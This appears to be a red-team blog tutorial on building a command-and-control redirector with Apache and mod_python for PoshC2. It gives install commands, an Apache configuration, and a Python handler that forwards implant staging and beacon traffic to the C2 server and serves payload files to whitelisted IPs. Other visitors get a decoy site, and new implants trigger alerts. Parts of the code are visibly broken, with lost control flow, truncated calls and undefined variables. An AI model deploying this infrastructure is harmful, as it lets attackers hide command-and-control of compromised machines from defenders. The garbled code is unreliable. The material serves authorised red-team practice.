Note: The inspiration for this post and the base of the config has been taken from this blog post - written by Tom Wilson

When conducting red teaming engagements C2 proxies or redirectors are an essential tool to hide the true location of your C2 server.

There are a range of options for redirecting/proxying traffic, this post will focus on using Apache with mod_python.

mod_python essentially allows for the python interpreter to be embedded into Apache and allows for the execution of python scripts.

Below is an overview of what typical C2 infrastrucure will look like: C2 Overview

For this demonstration the setup is as follows:

  • Compromised/Victim machine - Windows 10 VM
  • C2 Server - Ubuntu server with PoshC2_Python running
  • C2 Proxy - Ubuntu server with Apache and mod_python running

This post is focused on the C2 proxy.

Firstly we’ll need to build the C2 proxy. In this instance I’m going to use a Digital Ocean droplet. Once it’s up and running we need to make sure it’s up to date and has the relevant software installed and running: apt-get update && apt-get upgrade apt-get install apache2 libapache2-mod-python a2enmod python a2enmod proxy a2enmod proxy_http a2enmod rewrite systemctl restart apache2.service

Once it’s up and running there will be three main files that need configuring: /etc/apache2/sites-available/000-default-le-ssl.conf, /etc/apache/ports.conf & the main python handler.

I’m also going to disable /etc/apache2/sites-available/000-default.conf as the config can all remain in one file. a2dissite 000-default.conf systemctl restart apache2.service

The base of the Apache config file, should look something like the below:

ServerSignature Off
ServerTokens Prod
<IfModule mod_ssl.c>
<VirtualHost *:443>
    PythonPostReadRequestHandler /var/www/python/
    PythonDebug Off #You might want this on whilst you configure the server 

    SSLEngine on
    SSLProxyEngine On
    SSLProxyCheckPeerCN Off
    SSLProxyVerify none
    SSLProxyCheckPeerName off
    SSLProxyCheckPeerExpire off
    SSLCertificateFile      /etc/letsencrypt/live/[YOUR DOMAIN HERE]/fullchain.pem
    SSLCertificateKeyFile /etc/letsencrypt/live/[YOUR DOMAIN HERE]/privkey.pem

<VirtualHost *:80>
    #All HTTP traffic to HTTPS
    RewriteEngine On
    RewriteCond %{HTTPS} !=on
    RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R,L]

<VirtualHost> #Used to serve a "legitimate" looking site
    DocumentRoot /var/www/html/legitimate

<VirtualHost> #Used to serve payloads etc
    DocumentRoot /var/www/html/files_to_serve

Be sure to make sure /etc/apache/ports.conf looks matches the above. For example:

Listen *:80
Listen localhost:8000
Listen localhost:9000

<IfModule ssl_module>
	Listen 443

<IfModule mod_gnutls.c>
	Listen 443

The above will ensure Apache does the following:

  • Listens on port 80 on all interfaces, all traffic will then be forwarded to 443.
  • Listens on ports 8000 & 9000 on the loopback interface. These will be used to serve either a legitimate looking website or payloads.
  • Listens on port 443 on all interfaces, this will be where traffic hits the python handler and is redirected/proxied depending on what rules it matches.

The core of the modpython configuration is the main python handler, in this example this file is /var/www/python/

As noted above, the base of this file comes from this blog post.

The below example is configured to work as a C2 proxy for PoshC2_python and also has the following functionality:

  • All traffic hitting the proxy directly (I.e. not via a domain front) is displayed a simple HTML page but will never hit the C2 server
  • Allows you to configure a whitelist of IP addresses (set up for domain traffic via domain fronting)
  • Allows for files (payloads/supporting files etc) to be served to whitelisted IPs
  • Send notifications via Pushover if traffic hits the server but is not on the whitelist
  • Triggers a visual alert that you’ve got a new implant

In this case, the visual alert is a LIFX bulb flashing red.

Below is the python handler, please bear in mind this is more of a PoC than anything else. There are definitely more elegant solutions to do some of this and obviously don’t use this on a live engagement without testing etc.

import logging
import requests
from mod_python import apache

def postreadrequesthandler(request):
    request.handler = "proxy-server"
    request.proxyreq = apache.PROXYREQ_REVERSE
    useragent = request.headers_in.get("user-agent", None)
    ip = request.get_remote_host(apache.REMOTE_NOLOOKUP)
    useragent = request.headers_in.get("user-agent", None)

    Posh_URIs=["[ADD POSH C2 URIS HERE]"]
    Whitelist=["[ADD WHITELIST OF IPS HERE]"]

    if "X-Forwarded-For" in request.headers_in: #If traffic is coming via the domain front
	if request.headers_in["X-Forwarded-For"] in Whitelist: # and is on the whitelist
	    if request.unparsed_uri == "[POSH Staging URI]":
                request.connection.log_error("New posh implant from a whitelisted IP proxying to Posh Server", apache.APLOG_ERR)
                request.filename = ("proxy:https://%s/%s" %(Posh_Server,request.unparsed_uri))
                notify_message="New implant is live - IP:%s"%request.headers_in["X-Forwarded-For"]
		lifx()#Flash the light
	    elif request.unparsed_uri.startswith(tuple(Posh_URIs)):
		request.connection.log_error("Request for %s from a whitelisted IP proxying to Posh Server (%s)"%(request.unparsed_uri,Posh_Server) , apache.APLOG_ERR)
		request.filename = ("proxy:https://%s/%s" %(Posh_Server,request.unparsed_uri))# If it's a Posh URI, proxy the traffic to the Posh server
	    elif request.unparsed_uri in File_URIS:#If it's a payload file, proxy to the virtual host on 9000
		request.filename = ("proxy:http://localhost:9000/%s" % request.unparsed_uri)
	    request.connection.log_error("Traffic is going via CloudFront but is not on the whitelist: %s - Sending notification"%request.headers_in["X-Forwarded-For"] , apache.APLOG_ERR) #This will match any traffic that is going via domain fronting but is not on the whitelist
	    notify_message="Traffic via CF but not on whitelist: %s - %s"%(request.headers_in["X-Forwarded-For"],useragent)
	    sendnotification(notify_message)#Send a notification via Pushover
	    request.connection.log_error("Notification sent" , apache.APLOG_ERR)

	request.connection.log_error("Request from %s direct to proxy - Can't be legit traffic, sending to website"%ip , apache.APLOG_ERR)
	request.filename = ("proxy:http://localhost:8000/%s" % request.unparsed_uri)#In this example all C2 traffic will be domain fronted and all links to files will be via the CDN, so anything hitting the proxy directly is just noise. So we proxy it to the virutal host on 8000, which can run a legit website or just a  redirect to elsewhere

    return apache.OK

def sendnotification(notify_message):
    data={"token": "[REDACTED]","user": "[REDACTED]","message": notify_message},data=data)

def lifx():
    token = "[REDACTED]"
    headers = { "Authorization": "Bearer %s" % token}
    payload = {
        "color": "red",
        "period" : "0.4",
        "cycles" : "10.0",
        "persist" : "false",
        "power_on" : "true"
    response ='', data=payload, headers=headers)

Once this config is live, we get the following results:

  • Pushover notification sent if any none whitelisted IPs hit the proxy via the CDN
  • All traffic going direct to the proxy is forwarded to a “legit” looking site
  • PoshC2 comms working, Pushover notification and flashy light on all new implants

Flashy Light

So overall mod_python seems to work well and makes it both quick and easy to add a lot of functionality to a C2 proxy. As it allows for standard python scripts to be run there is pretty much no bounds to what it could be used for.